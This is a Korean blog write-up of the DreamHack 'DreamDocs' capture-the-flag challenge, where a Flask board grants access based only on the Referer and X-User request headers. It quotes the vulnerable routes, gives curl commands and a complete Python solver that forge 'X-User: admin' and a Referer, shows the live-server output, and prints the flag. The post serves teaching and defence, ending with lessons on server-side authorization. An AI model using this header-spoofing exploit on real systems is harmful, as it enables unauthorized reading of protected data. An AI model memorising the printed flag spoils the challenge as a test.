[🥉 Bronze 3] X-User·Referer 헤더 위조로 비밀 문서 읽기 — DreamHack DreamDocs 풀이

2026-06-04·1분 읽기·

[🥉 Bronze 3] X-User·Referer 헤더 위조로 비밀 문서 읽기 — DreamHack DreamDocs 풀이

문서 열람 권한을 Referer와 X-User 헤더로만 판단하는 게시판이다. 둘 다 요청자가 마음대로 보내는 값이라, X-User: admin 과 Referer: /share 를 위조하면 confidential 문서의 본문(FLAG)이 그대로 열린다.

문제: DreamHack — DreamDocs 분류: Web (Flask) 난이도: 🥉 Bronze 3 FLAG: DH{17dda847500b779845306c8d0f16959b}


문제 개요

문서를 열람하는 게시판이다. 문서마다 public / internal / confidential 등급이 있고, 플래그는 confidential 문서 본문 안에 주석으로 숨어 있다.

항목내용
문제명DreamDocs
난이도🥉 Bronze 3
분류Web (Flask)
제공 파일 / 서버app.py + 템플릿 + 라이브 서버
핵심 취약점Referer·X-User 헤더에만 의존하는 접근 제어 (Broken Access Control)

문서 라이브러리(/share) 화면은 "Guest / Authenticated User" 두 등급만 고를 수 있다. admin이라는 선택지는 UI 어디에도 없다.

/share — 문서 라이브러리. 등급 선택지는 guest와 user뿐
/share — 문서 라이브러리. 등급 선택지는 guest와 user뿐

하지만 등급을 서버에 전달하는 통로가 평범한 HTTP 헤더라면, UI에 없는 값이라고 못 보낼 이유가 없다.



🔬 분석 — 권한 판단의 재료가 전부 요청 헤더다

플래그 문서는 서버 시작 시 한 번 만들어진다. confidential 등급이고 본문에 플래그가 주석으로 박혀 있다.

flag_doc_id = random.randint(100, 999)
documents = {
    flag_doc_id: {
        'title': 'Confidential Report - Access Restricted',
        'content': f'...\n\n<!-- FLAG: {FLAG} -->\n\n...',
        'classification': 'confidential',
        ...
    }
}

문서를 여는 /doc/<id> 라우트가 핵심이다.

@app.route('/doc/<int:doc_id>')
def view_document(doc_id):
    referer = request.headers.get('Referer', '')        # ← 요청 헤더
    user_level = request.headers.get('X-User', 'guest')  # ← 요청 헤더
    ...
    document = documents[doc_id]
 
    if '/share' not in referer:                          # 게이트 ①: Referer
        return render_template('error.html',
            message="Access denied. Documents can only be accessed from the share page."), 403
 
    if document['classification'] == 'confidential':     # 게이트 ②: 등급
        if user_level != 'admin':
            return render_template('error.html',
                message="Insufficient privileges. Administrator access required."), 403
    ...
    return render_template('document.html', doc=document, doc_id=doc_id)

권한을 가르는 재료가 둘 다 요청자가 채워 보내는 헤더다.

  • 게이트 ① Referer — "공유 페이지를 거쳐서 들어와라"는 의도지만, Referer는 브라우저가 붙여주는 참고용 헤더일 뿐 요청자가 임의로 바꿀 수 있다.

  • 게이트 ② X-User — confidential이면 admin을 요구한다. 그런데 이 값도 그냥 커스텀 요청 헤더다.

서버에는 이 둘이 진짜인지 확인할 근거가 없다. 세션도, 로그인도, 서명도 없다.

문서에 직접 들어가 보면 게이트 ①에 먼저 막힌다. 브라우저 주소창으로 /doc/183을 치면 Referer가 없어서 403이다.

/doc/183 직접 접근 → Referer 게이트에 막혀 403
/doc/183 직접 접근 → Referer 게이트에 막혀 403

💣 핵심 — 헤더는 신뢰할 수 없다

게이트 두 개를 통과하는 데 필요한 건 헤더 두 줄을 직접 붙이는 것뿐이다.

Referer: http://<host>/share
X-User: admin
헤더 신뢰 우회 — 두 게이트 모두 요청자가 정하는 값
헤더 신뢰 우회 — 두 게이트 모두 요청자가 정하는 값

남은 건 플래그 문서의 id다. flag_doc_id는 100~999 사이 난수라 모른다. 그런데 목록 API가 그대로 흘린다.

@app.route('/api/docs')
def list_docs():
    user_level = request.headers.get('X-User', 'guest')
    for doc_id, doc in documents.items():
        ...
        elif doc['classification'] == 'confidential' and user_level == 'admin':
            visible_docs.append({'id': doc_id, ...})

X-User: admin이면 confidential 문서도 목록에 넣어준다. 게다가 플래그 문서는 documents 딕셔너리에 가장 먼저 삽입돼서(파이썬 dict는 삽입 순서를 유지한다) admin 응답의 첫 항목으로 튀어나온다. id를 따로 brute-force할 필요도 없다.

curl -s http://<host>/api/docs -H 'X-User: admin'
# [{"classification":"confidential","id":183,"title":"Confidential Report - Access Restricted"}, ...]


🎯 풀이 — 헤더 두 줄이면 끝

id(여기선 183)를 얻었으니, 같은 헤더 두 줄을 달아 문서를 연다.

curl -s http://<host>/doc/183 \
     -H 'Referer: http://<host>/share' \
     -H 'X-User: admin' | grep FLAG

게이트 ①(Referer)과 게이트 ②(admin)를 모두 통과해 document.html이 렌더되고, 본문의 {{ doc.content }} 안에 들어 있던 <!-- FLAG: ... --> 주석이 화면에 그대로 노출된다.

X-User: admin + Referer 위조 → confidential 문서 본문에 FLAG 노출
X-User: admin + Referer 위조 → confidential 문서 본문에 FLAG 노출

🚀 Full Exploit

목록에서 id를 자동으로 찾아 본문까지 한 번에 뽑도록 짰다.

#!/usr/bin/python3
# DreamDocs 솔버 — 접근 제어가 클라이언트 헤더(X-User, Referer)에만 의존하는 점을 이용한다.
#   1) /api/docs 에 X-User: admin 을 보내 confidential(flag) 문서의 id 를 얻는다.
#   2) /doc/<id> 에 X-User: admin + Referer: .../share 를 위조해 본문(FLAG)을 읽는다.
import sys
import re
import requests
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8099").rstrip("/")
s = requests.Session()
 
# 1) admin 권한으로 문서 목록 → confidential 문서 id
docs = s.get(f"{BASE}/api/docs", headers={"X-User": "admin"}, timeout=10).json()
conf = [d for d in docs if d["classification"] == "confidential"]
print(f"[*] /api/docs (admin) 응답 {len(docs)}건, confidential: {[d['id'] for d in conf]}")
 
flag_id = conf[0]["id"]
print(f"[+] flag 문서 id = {flag_id}")
 
# 2) 위조 헤더로 confidential 문서 열람
r = s.get(
    f"{BASE}/doc/{flag_id}",
    headers={"X-User": "admin", "Referer": f"{BASE}/share"},
    timeout=10,
)
print(f"[*] /doc/{flag_id} -> HTTP {r.status_code}")
 
m = re.search(r"DH\{[^}]*\}", r.text)
print(f"[FLAG] {m.group(0)}" if m else "[-] FLAG 미발견")

라이브 서버에 그대로 돌린 결과다.

$ python3 solve.py http://host8.dreamhack.games:10212
[*] /api/docs (admin) 응답 15건, confidential: [183]
[+] flag 문서 id = 183
[*] /doc/183 -> HTTP 200
[FLAG] DH{17dda847500b779845306c8d0f16959b}
솔버 실행 — id 자동 획득 후 FLAG 추출
솔버 실행 — id 자동 획득 후 FLAG 추출
DH{17dda847500b779845306c8d0f16959b}


📝 결론

클라이언트가 보낸 값으로 권한을 정하면 안 된다.

Referer도 X-User도 요청자가 원하는 대로 채워 넣는 문자열이다. 서버가 "이 사람이 admin인지", "공유 페이지를 거쳐 왔는지" 판단하는 근거로 삼을 수 없다. 권한은 서버가 발급하고 검증하는 세션·토큰으로 확인해야 한다.

Referer 검사는 보안 장치가 아니다.

Referer는 디버깅·통계용 참고 헤더이고 아예 안 보내거나 위조하는 게 정상 범주다. "이 페이지를 거쳐서 와라" 같은 흐름 강제를 Referer로 구현하는 건 빗장 없는 문에 "들어오지 마세요" 팻말을 붙이는 격이다.

숨긴 식별자는 비밀이 아니다.

플래그 문서 id를 난수로 만들었지만, 같은 권한 우회가 통하는 목록 API가 그대로 알려줬다. 게다가 dict 삽입 순서 때문에 맨 앞에 노출됐다. 난수 id로 가린다고 접근 제어를 대신할 수는 없다 — 막아야 할 건 식별자가 아니라 접근 그 자체다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥇 Gold 4] 취약점을 찾는 게 아니라 막는 문제 — DreamHack PATCH-1 풀이
blog

[🥇 Gold 4] 취약점을 찾는 게 아니라 막는 문제 — DreamHack PATCH-1 풀이

122줄짜리 Flask 메모 API 에 심어 둔 취약점을 전부 패치해야 flag 가 나오는 문제. f-string SQLi 두 곳, format() 이 만들어 낸 Jinja2 SSTI 와 저장형 XSS, 메모 소유자 검증 누락, 소스에 박힌 secret_key 까지 여섯 군데를 로컬에서 재현해 놓고 고쳤다. 공격만 막고 끝나면 안 되고 SLA(기능 회귀) 도 같이 통과해야 한다.
#dreamhack#ctf#web+8
2026-08-06#dreamhack +5
[🥉 Bronze 3] 숨긴 _id를 ObjectId 예측으로 복원해 비밀글 읽기 — DreamHack mongoboard 풀이
blog

[🥉 Bronze 3] 숨긴 _id를 ObjectId 예측으로 복원해 비밀글 읽기 — DreamHack mongoboard 풀이

게시판이 비밀글의 _id만 null로 가렸지만, MongoDB ObjectId는 시각·랜덤·카운터로 이뤄진 예측 가능한 값이다. 보이는 글들의 _id와 비밀글의 publish_date만으로 숨긴 _id를 복원해 본문(FLAG)을 읽는 과정을 정리했다.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +4
[🥉 Bronze 3] 아무도 없는 테이블이 만든 무조건 참 — DreamHack Logical 풀이
blog

[🥉 Bronze 3] 아무도 없는 테이블이 만든 무조건 참 — DreamHack Logical 풀이

Flask 로그인 폼 하나짜리 문제. 비밀번호를 md5 로 굳혀 넣어 SQL 인젝션은 닫혀 있는데, 정작 users 테이블에 행이 하나도 없다. 조회가 빈 결과를 돌려주면 아이디가 빈 문자열로 떨어지고, 마지막 비교가 그 빈 문자열과 우리가 보낸 아이디를 맞대 본다. 아이디를 비운 요청 한 번으로 로그인이 통과한다.
#dreamhack#ctf#web+6
2026-08-14#dreamhack +4